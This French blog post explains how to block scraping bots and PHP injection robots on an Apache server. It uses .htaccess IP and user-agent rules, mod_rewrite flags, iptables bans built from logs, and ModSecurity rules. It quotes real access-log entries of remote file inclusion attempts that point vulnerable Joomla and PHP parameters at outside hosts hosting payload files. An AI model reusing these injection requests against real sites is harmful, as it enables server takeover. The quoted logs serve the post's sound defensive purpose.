Bloquer certains robots ou navigateurs indésirables
Par PlaceOweb le mercredi, février 11 2009, 22:33 - Outils Internet - Lien permanent
Comment bloquer les requêtes indésirables tels que des attaques récentes enregistrées sur mon site :
65.254.41.130 - - [22/Feb/2009:07:09:22 +0100] "GET /hack/include/plugins/jrBrowser/purchase.php?jamroom[jm_dir]=http://www.sec-ir.com/administrator/components/com_joomla-visites/core/include/remember.txt HTTP/1.1" 404 1467 "-" "Mozilla/5.0" 64.135.71.20 - - [28/Feb/2009:21:04:04 +0100] "GET /hack/php/%20%20/administrator/components/com_dbquery/xhtml/support.html.php?dbq_class_path=http://www.dwsub301.co.kr/data/copyright.txt HTTP/1.1" 404 1467 "-" "Mozilla/5.0" 66.150.201.199 - - [28/Feb/2009:21:30:04 +0100] "GET /hack/php//?INCLUDE_FOLDER=http://www.lazar.ru/manager/processors/copyright.txt??? HTTP/1.1" 200 1659435 "-" "libwww-perl/5.79" 72.32.71.178 - - [28/Feb/2009:21:30:45 +0100] "GET /hack/php/e404.php?DOCUMENT_ROOT=http://www.ackerbell.com/en/images/log.txt HTTP/1.1" 404 1467 "-" "libwww-perl/5.79"
Pour bloquer ces requêtes indésirables, nous n'avons pas trop le choix.
Généralement ces accès sont fait par :
- des aspirateurs de site
- des robots hacking a but d'injection HTTP tel que dans du PHP pour prendre le contrôle du serveur
On constate que les données filtrables sont :
- l'IP de l'émetteur de la requête
- l'URI utilisée
- le USER-AGENT (le $_SERVER["HTTP_USER_AGENT"] en PHP)
Filtrage par IP
Bloquer une IP en particulier, utile contre un spammeur ayant une IP fixe, ou utilisant un proxy avec IP fixe :
Order Allow,Deny Allow from all Deny from xxx.xxx.xxx.xxx
xxx.xxx.xxx.xxx représente bien sur l'adresse IP et ce code est également à placer dans le .htaccess
Filtrage par USER-AGENT
Vous pouvez par exemple bloquer toutes les requêtes provenant d'un client nommé "*libwww*"
############################################################# # Bloquer l'accès au site pour le navigateur libwww-perl ############################################################# RewriteEngine on RewriteCond %{HTTP_USER_AGENT} libwww [NC] RewriteRule .* - [F,L]
############################################################# # Permet de rediriger vers l'adresse de la boucle locale (127.0.0.1) tous les systèmes se connectant à votre site avec l'user agent libwww # (ou de son autre nom lwp, le web en perl). Si vous êtes victimes d'aspirateur de sites vous pouvez également adapter ce code pour bloquer d'autres user agent, # vous trouverez facilement des listes exhaustive sur le net. ############################################################# RewriteEngine on RewriteCond %{HTTP_USER_AGENT} libwww [NC,OR] RewriteCond %{HTTP_USER_AGENT} ^lwp RewriteRule (.*) http://127.0.0.1/ [R,L]
############################################################# # Utilisé par PlaceOweb # Permet de rediriger vers l'adresse de la boucle locale (127.0.0.1) # tous les systèmes se connectant à votre site avec l'user agent # "libwww*" # ou essayant d'accéder à une ressource URI composée de "*???*" ############################################################# RewriteEngine on RewriteCond %{HTTP_USER_AGENT} ^libwww.* [NC,OR] # RewriteCond %{HTTP_USER_AGENT} ^lynx.* [NC,OR] RewriteCond %{QUERY_STRING} .*\?\?\?.* RewriteRule (.*) http://127.0.0.1/ [R,L]
Information sur les flags (options entre [])
[flags]
A la directive RewriteCond. Flags est une liste de commutateurs ci-après définis séparés par des virgules :
- 'nocase|NC' (Pas de casse : no case) La casse est indifférente dans ce cas, c'est-à-dire qu'il n'y aura aucune différence entre les lettres 'A-Z' et 'a-z', que ce soit dans la chaîne TestString ou CondPattern.
- 'ornext|OR' (ou condition suivante) Utilisez ce commutateur pour lier deux conditions.
A la directive RewriteRule. Flags est une liste de commutateurs ci-après définis séparés par des virgules :
- 'redirect|R[=code]' (force la redirection) Préfixez substitution par une chaîne de type http://cetHôte[:cePort]/ (qui fait de cette nouvelle URL une URI) pour forcer une redirection externe. Si aucun code n'est mentionné, un code de réponse HTTP 302 (MOVED TEMPORARILY) sera utilisé par défaut. Si vous souhaitez renvoyer un autre code de réponse, dans les séries 300 ou 400, mentionnez ce code sous forme numérique ou utilisez l'une des constantes symboliques ci-après : temp (défaut), permanent, seeother. Utilisez cette fonction pour des règles qui auraient tendance à canoniser les URL et les renvoyer ainsi au client, ex. qui traduisent "/~" en "/u/" ou ajoutent systématiquement un slash à /u/user, etc.
- 'forbidden|F' (force l'URL à apparaître comme interdite : forbidden) Ceci force l'URL courante sur l'URL interdite, c'est à dire que le serveur enverra immédiatement une réponse HTTP de code 403 (FORBIDDEN). Utilisez ce commutateur en conjonction avec des directives RewriteConds appropriées pour bloquer l'accès à certaines URL sous certaines conditions.
- 'gone|G' (force l'URL à apparaître comme une redirection définitive : gone) Ceci force une réponse HTTP de code 410 (GONE). Utilisez ce commutateur pour marquer que les ressources demandées ont définitvement "déménagé".
- 'last|L' (dernière règle : last rule) Arrête le traitement de réécriture en ce point et n'applique plus aucune règle de réécriture postérieure. Ceci correspond à l'instruction Perl last ou au break du C dans une boucle. Utilisez ce commutateur pour éviter que l'URL réécrite par cette règle ne soit à son tour modifiée une nouvelle fois par d'autres règles pour lesquelles le motif pourrait correspondre. Par exemple, vous pouvez l'utiliser pour réécrire l'URL d'accès à root ('/') vers une URL opérationnelle, comme '/e/www/'.
Globalement
On constate que de nombreuses injections concernent Joomla, on en parle sur Hack de sites joomla : quels composants sont visés ?
Une méthode simple pour bannir de nombreux attaquants est de les rediriger, depuis la configuration globale de votre serveur web, selon leurs paramètres de connexion, tel que l'agent http : HTTP_USER_AGENT
Voici un simple exemple sur Apache pour bloquer tous ceux qui s'identifient comme des navigateurs nommés : libwww-perl/xxx (ex : libwww-perl/5.79)
RewriteEngine on RewriteCond %{HTTP_USER_AGENT} libwww-perl RewriteRule .*$ http://immobilier.placeoweb.com [R,L]
Si vous souhaitez en bloquer plusieurs :
RewriteEngine on RewriteCond %{HTTP_USER_AGENT} Kapere [OR] RewriteCond %{HTTP_USER_AGENT} libwww-perl [OR] RewriteCond %{HTTP_USER_AGENT} Microsoft\ URL\ Control RewriteRule .*$ http://perdu.com [R,L]
Vous pouvez noter ces directives Apache, au choix, dans :
- un fichier nommé anti-aspirateurs-hack.conf que vous placerez dans un répertoire inclus par Apache (Include /etc/apache2/sites/)
- un fichier .htaccess à la racine de votre site où via une include dans chaque virtualhost.
Vous trouverez comment bloquer plus de robots et d'aspirateurs sur http://aide.sivit.fr/index.php?2005/07/25/84-bloquer-les-robots
Et pour l'explication des directives Apache concernées, vive la documentation Apache Module mod_rewrite en anglais, sinon une documentation plus ancienne en français.
Attention
Certains vrais logiciels ou scripts utiles définissent leur "User-Agent" en "*libwww*" alors ne les bloquez pas. Par exemple :
- Lynx, déclare par défaut "User-Agent" avec la valeur : "Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/1.4.4"
- Call Of Duty 4, déclare le "User-Agent" avec la valeur : "ID_DOWNLOAD/1.0 libwww/5.3.1"
Ressources
- HTTrack Aspirateur de Sites Web - Website Copier
- Blocage Aspirateur de site
- Bloquer les robots libwww
- Anti hack > Bloquer l'accès au site pour le navigateur libwww-perl
- Liste des scripts d'injection http connus et dernières attaques http
Blocage firewall par IP
En faisant un cat de vos logs apache, vous pouvez stocker les IPs indésirable et les bloquer avec votre firewall, par exemple :
cat /var/log/apache2/*.log | egrep '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3} - - .*"GET.*/phpMyAdmin.* HTTP/1.1" 404' -i >> iptables.ban.ip.web.quotidien awk '{print $1}' iptables.ban.ip.web.quotidien >> iptables.ban.ip.web.txt sort --unique iptables.ban.ip.web.txt > iptables.ban.ip.unique.txt cat iptables.ban.ip.unique.txt | egrep '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}' > iptables.ban.ip.web.txt # Bloque le WEB pour les injecteurs HTML for IP in $(cat /root/iptables.ban.ip.web.txt); do iptables -A INPUT -s $IP -i eth0 -p tcp --dport 80 -j DROP; done;
ModSecurity : mod_security (libapache-mod-security) et mod_evasive (libapache2-mod-evasive)
- ModSecurity
- 2011 Sécuriser Apache2
- 2011-07 Installer et configurer ModSecurity
- 2011-02 Mod_evasive : un module anti-dos pour Apache
- 2011-02 ZmEu attacks: Some basic forensic
- Bloquer les IP indésirables : iptables -I INPUT -s 89.108.119.29 -j DROP
- Installer ModSecurity.
- Rediriger les pages 404 vers votre fichier antibot.php contenant : <?php header("HTTP/1.1 403 Forbidden"); ?>
- 2010-04 Attack by ZmEu modsecurity2 rule addition : SecRule REQUEST_URI "@rx (?i)\/(php-?My-?Admin[^\/]*|mysqlmanager|myadmin|pma2005|pma/scripts|w00tw00t[^\/]+)\/" "severity:alert,id:'0000013',deny,log,status:400,msg:'Unacceptable folder.',severity:'2'"
- 2010-02 mod_evasive, mod_evasive/README, How to Stop an Apache DDoS Attack with mod_evasive
- 2009-02 Administration de serveurs apache : modsecurity2
- 2008-10 Sécurité avancée du serveur web Apache : mod_security et mod_dosevasive capable de filtrer le POST, les flux HTTPS et de corriger les URL mal formés.
- 2008-07 Apache 2 et ModSecurity 2 facile ! ModSecurity 2 est une extension Apache qui permet d'analyser les requêtes HTTP, et de détecter certaines attaques potentielles sur les applications Web qu'Apache peut héberger ou qu'Apache peut protéger en mode reverse-proxy. En clair, commercialement parlant, c'est un firewall pour les applications Web.